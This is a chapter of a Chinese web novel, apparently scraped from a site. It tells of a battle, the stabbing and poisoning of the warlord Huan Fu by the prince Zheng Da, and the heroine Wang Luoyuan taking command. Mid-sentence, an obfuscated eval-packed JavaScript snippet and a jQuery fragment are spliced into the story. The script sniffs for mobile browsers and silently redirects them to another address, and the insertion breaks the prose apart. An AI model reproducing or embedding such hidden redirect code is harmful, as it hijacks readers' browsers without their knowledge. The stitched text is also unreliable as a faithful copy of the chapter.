29. 尘埃
作品:《贵女掀桌指北》 翌日午后,日头偏西,两军再次于同一地点处对峙。
“随吾冲锋!”
桓符扬鞭挥下,身下马儿飞速向谷中冲出,风沙翻滚。
鼓声骤起,骑兵队列似黑云向前压去。箭矢倾泻,在敌军骨肉间炸开血花,哀嚎与战吼绞在一处。刀剑相斫,火星溅落,倒下的人在风沙中抽搐着失去生机,大睁着空洞的双眼望向渐沉的夕阳。
似乎过了很久,又似乎不过短短一个晃神间,漫天飞舞的风沙尘埃在王珞沅眼前渐渐散去,场中局势一目了然。
桓符此番亲上战场,士气大增,一举挽回了此前颓势,率军大获全胜。敌军不敌,溃散而逃。
“赢啦,我们赢啦!”
桓符高坐马上,志得意满、意气风发;将士们欢呼雀跃、相拥而泣。
“桓公,末将已率人清点完人数,此次我军伤亡八百,其中高将军及其小队不知所踪。”一位将领赶到桓符身侧,朗声汇报。
桓符眼底闪过果不其然的意味,不甚在意地挥手表示了解,策马越过他往营帐方向而去。
王珞沅略一思忖,赶忙跟上。
“壹壹,贰壹,吾交代尔等的事做得如何?”
桓符脱下染血的甲胄递给小厮,披上玄色外袍坐回主座,双手双脚大开,头向后仰靠在椅背上,右手有节奏地敲击着前头的桌案。
壹壹、贰壹扫向跟进帐中的王珞沅,欲言又止。
“无妨,说。”
“回主子,我与贰壹率您亲卫截杀高闵于途,本想留下活口带回严刑逼出盐矿所在,不料高闵半路毒发身亡。”壹壹拱手垂头,一板一眼地陈述。
“毒发身亡?”桓符眉心皱起,目光若有似无地扫向王珞沅。
王珞沅心下一跳,这事不是她的手笔,是谁,一箭双雕致她于不义。
她急需撇清干系,否则功亏一篑不说,还会自身难保。王珞沅握紧拳头,大脑高速运转,她要如何说才能打消桓符疑她不忠的顾虑。
高闵死了,那郑达又在何处?等等,郑达。
“桓师,学生能否问一句,殿下如今身在何处?”王珞沅作揖,开口便是祸水东引。
桓符显然也想到了,他移开落在王珞沅身上的目光,再度看向壹壹。
“主子,殿下出现在营帐外,说是要见您。”贰肆进了主帐,小跑到桓符身边汇报。
乍闻得这一消息,王珞沅不知该如何表达自己的心情,郑达这是玩的哪一出。
“桓公,吾错了,”郑达衣裳散乱,披头散发地走进来,面上皆是懊悔。
他走到桓符身侧跪坐而下,去蹭他的手。
“桓公,您才是对吾最好的,吾不该为了耍小脾气而同高闵联合起来与您作对。他说要您的命时,吾就知留他不得,吾替您杀了他。您能看来吾戴罪立功的份上,原谅吾一回吗。”
王珞沅紧握的手松开,以前竟还是她高估了郑达吗?这位殿下简直蠢透了。
但是不得不说,他的命保住了,若桓符念及那点旧情,她暂时也将对他无计可施。
壹壹、贰壹见着郑达桓符二人黏糊的模样,飞速撇开眼,贰壹的眼角控制不住地抽搐。
桓符手掌放在郑达的头上,稍用力,压得他浑身一震,慌忙起身为桓符斟茶,贴心地递到他嘴边。
桓符抬手挡开,一把将他推倒在地,欺身而上,转头看向王珞沅三人:“你们先出去。”
王珞沅挑眉,先一步踏出帐去。
“女郎,许久不见。”贰壹凑到王珞沅身边打趣,被王珞沅对着腰侧来了一拳。
“嘶,女郎好生心狠~~”
壹壹上前,捏住他的一侧耳垂向上一提:“行了,贰壹,别成天没个正行的。”
贰壹吃痛拍开壹壹的手,跳到两步之外,不甘心地怼他:“你,有你什么事,我同女郎叙旧呢!”
“哐当”。
“砰”。
是重物倒地的沉闷声响。
“你……”
“哈哈哈哈哈——桓符,你也有今天,哈哈哈哈哈——”
王珞沅三人的身后帐中,突然传出一阵疯魔般的嘶哑大笑。
糟糕!
壹壹、贰壹与王珞沅极快地对视了一眼,同时转身冲进桓符帐中。
桓符一手捂在小腹处瘫坐在地上,鲜血流了一地,一言不发地嗔视郑达。
反观郑达,他衣衫不整地站在一旁狂笑,眼底尽是疯狂。
“贰壹,去制住郑达;壹壹,去叫大夫,莫要声张。”王珞沅有条不紊地吩咐。
话音未落,贰壹便已飞身上前将郑达死死按住,壹壹略一犹豫后也转身朝帐外飞奔而去。
郑达也不挣扎,继续笑:“哈哈哈,没用的,你只看到了他腹上的伤口,吾还下了毒,哈哈哈哈,药石无医,桓符,你此番必死无疑。”
桓符失血过多的面上又白了一度,咬牙问出口:“何时……为何?”
“哈哈哈哈,何时?你说呢?”郑达舔了下艳红的唇,笑得一脸畅快。
“你也……”桓符瞳孔巨震。
“是呀,桓符,桓公,你逼吾的,你将吾这些年在你眼皮底下苦苦攒出的手下势力捣了个干净,又要拿走吾最后的稻草高闵,你让吾,你让本王如何呢?”郑达露出一个媚笑,笑盈盈地问。
桓符咳出一口血:“高闵是你杀的……吾也从未想过要你性命。”
“你折断了本王的翅膀,本王活着同死了又有何分别,既然本王这辈子无缘帝位了,你桓符也别妄想,本王会拉你一同进地狱!吾郑家,天潢贵胄,永不为奴。”
听了桓符的话,郑达突然剧烈挣扎起来,太阳穴上青筋暴起,眼眶充血。
不过片刻,他整个人就卸了力道垂下头去,双目圆睁对着地面。
贰壹空出一只手,低下头去探他鼻息,半晌后抬头朝桓符和王珞沅摇了摇头。
“咳,珞沅,过来。”桓符叹了口气,闭上眼放开捂住腹部的手,彻底瘫倒在地。
王珞沅跑过去跪坐到桓符
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093250|161086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身旁,弯下身,将耳朵凑到他嘴边。
“壹组交给李蔚,贰组当是为师死前送你的礼物了,珞沅,我知你种种谋划,也知你一心回家的期许,如今你也算得偿所愿了,请你为我处理好军中事宜后再离开,便当是为了军中那些你曾并肩作战过的士卒罢。”
“好。”
王珞沅莫名地不是滋味,她抿了抿唇,郑重地应答。
桓符的声音又轻了些许,哑了些许:“趁着我用内力还能撑一会儿,你有什么要问的,尽管说罢。”
“您对郑达……”王珞沅有些犹豫,偏又好奇地紧。
桓符睁开眼注视着王珞沅垂落的发丝:“相处久了,总也有些情分在的……你觉得我是什么样的人呢?”
“桓公,女郎,大夫来了。”
贰壹拎着一个老头进帐,王珞沅起身欲要让开,却被桓符轻轻按住手背。
桓符止住他们的动作,艰难地放大了声音:“不必过来了,吾知晓自己的情况。”
王珞沅转头望进桓符柔和中带着隐秘期许的双眸:“桓符,固一世之雄也。”①
“未曾料到,我在你眼中竟是位比曹孟德。”桓符扬起笑,目光灼灼凝在王珞沅面上,神采却随着他的面色一同黯淡下去。
王珞沅垂下眼避开他的视线,在心中接了一句:临危制变,料敌设奇,一将之智有余,万乘之才不足。②
移开目光的王珞沅不曾看到,在贰壹等人眼中,桓符闭上眼前的最后一刻,望着王珞沅的目光中含着怎样的柔情。
她只感受到,覆在她手背上的手变重,无力地滑落在地。她再抬眼望去时,桓符已阖上眼,没了声息。
王珞沅长长地舒出一口气,伸手利落地拔出桓符腹部的匕首,扔到一旁,尔后起身撩起角落榻上的布帛,团成一团抱在怀中,走到桓符身前蹲下,将布帛铺展开盖到他身上。
她静静地蹲了一会儿后,方才起身转向身后三人:“桓师此前同我交代,军中后续事宜由我处置,壹壹,你们一组以后跟随李蔚将军做事,贰壹,你们二组归属于我。你们可有意见?”
贰壹立马接道:“二组没意见,往后女郎指哪,二组便为您打哪。”
王珞沅颔首,转向壹壹,本以为还需要使些手段才能令他信服,却不料壹壹也爽快地答应了:“女郎还有何吩咐?”
王珞沅捻着手指,脑中飞速地算计着一切,片刻后,她盯住壹壹的眼睛。
“壹壹,周袍迩是细作,你应当也知晓,桓师之外无人可用他,一二组其他人应当还在按桓师之前的吩咐办事,未曾归来——你去,杀了周袍迩,然后在不惊动其他人的情况下,将李蔚和杜珩渊一同请过来。”
语罢,王珞沅转向一旁垂着头哆嗦的老头:“大夫,我们此前见过,便不多加寒暄了,还需委屈您在帐中呆一段时间,待得一切尘埃落定之后,方可自行离去。”
“没问题,没问题。”老头惊恐地抬头,朝着王珞沅连连摆手,顺势跌坐到一旁的椅子上,直喘粗气。